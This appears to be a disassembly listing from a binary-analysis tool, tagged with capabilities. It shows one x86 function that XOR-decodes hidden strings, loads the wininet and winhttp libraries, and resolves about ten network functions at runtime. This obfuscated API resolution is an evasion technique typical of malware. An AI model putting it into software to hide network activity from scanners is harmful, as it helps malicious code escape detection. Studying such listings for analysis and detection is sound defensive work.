Function at 0x405e00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x40f008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov cl, 0x1b
mov dword [ebp - 0x14], 0x75726c1b
mov dword [ebp - 0x10], 0x6f7e7572
xor eax, eax
mov dword [ebp - 0xc], 0x77777f35
mov byte [ebp - 8], 0
nop
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 0xb
jae 0x405e3f
mov cl, byte [ebp - 0x14]
jmp 0x405e30
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 8], 0
call esi
mov edi, eax
mov dword [ebp - 0x48], 0x2027394e
mov cl, 0x4e
mov dword [ebp - 0x44], 0x3e3a3a26
mov dword [ebp - 0x40], 0x22222a60
xor eax, eax
mov byte [ebp - 0x3c], 0
nop
xor byte [ebp + eax - 0x47], cl
inc eax
cmp eax, 0xb
jae 0x405e7f
mov cl, byte [ebp - 0x48]
jmp 0x405e70
lea eax, [ebp - 0x47]
mov byte [ebp - 0x3c], 0
push eax
call esi
mov esi, eax
test edi, edi
je 0x406135
test esi, esi
je 0x406135
movaps xmm0, xmmword [0x40cd60]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x46404b4b
mov dword [ebp - 0x24], 0x4b4a4c51
mov word [ebp - 0x20], 0x64
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x18
jb 0x405ec0
lea eax, [ebp - 0x37]
mov byte [ebp - 0x1f], 0
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
test eax, eax
je 0x406135
mov dword [0x40f524], eax
mov cl, 0xa
mov dword [ebp - 0x14], 0x64635d0a
xor eax, eax
mov dword [ebp - 0x10], 0x7a7e7e42
mov dword [ebp - 0xc], 0x646f7a45
mov byte [ebp - 8], 0
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 0xb
jae 0x405f17
mov cl, byte [ebp - 0x14]
jmp 0x405f08
lea eax, [ebp - 0x13]
mov byte [ebp - 8], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [str.jTSuIIMRSSXI]
xor ecx, ecx
mov dword [0x410544], eax
movups xmmword [ebp - 0x14], xmm0
nop dword [eax]
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x405f40
lea eax, [ebp - 0x13]
mov byte [ebp - 5], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cd40]
xor ecx, ecx
mov dword [0x410538], eax
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0x1c1b0d
nop dword [eax]
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0x12
jb 0x405f80
lea eax, [ebp - 0x17]
mov byte [ebp - 5], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cd90]
xor ecx, ecx
mov dword [0x410548], eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x455a594f
mov dword [ebp - 8], 0x4f5944
mov al, byte [ebp - 0x1c]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0x16
jb 0x405fc0
lea eax, [ebp - 0x1b]
mov byte [ebp - 5], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cd70]
xor ecx, ecx
mov dword [0x410550], eax
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0x5b5c4a
nop dword [eax]
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0x12
jb 0x406000
lea eax, [ebp - 0x17]
mov byte [ebp - 5], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cda0]
xor ecx, ecx
mov dword [0x41053c], eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x697e4969
mov dword [ebp - 0x24], 0x6a696461
mov word [ebp - 0x20], 0x6d64
mov byte [ebp - 0x1e], 0
nop word [eax + eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x19
jb 0x406050
lea eax, [ebp - 0x37]
mov byte [ebp - 0x1e], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cd80]
xor ecx, ecx
mov dword [0x410540], eax
movups xmmword [ebp - 0x18], xmm0
mov byte [ebp - 8], 0
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0xf
jb 0x406086
lea eax, [ebp - 0x17]
mov byte [ebp - 8], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cd10]
xor ecx, ecx
mov dword [0x41054c], eax
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0xd040c
nop
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0x12
jb 0x4060c0
lea eax, [ebp - 0x17]
mov byte [ebp - 5], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
movaps xmm0, xmmword [0x40cd50]
xor ecx, ecx
mov dword [0x410554], eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x2805393e
mov dword [ebp - 0x24], 0x3f28292c
mov word [ebp - 0x20], 0x3e
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x18
jb 0x406102
lea eax, [ebp - 0x37]
mov byte [ebp - 0x1f], 0
push eax
push esi
call edi
test eax, eax
je 0x406135
mov dword [0x410558], eax
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a67e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.0040a67e
mov esp, ebp
pop ebp
ret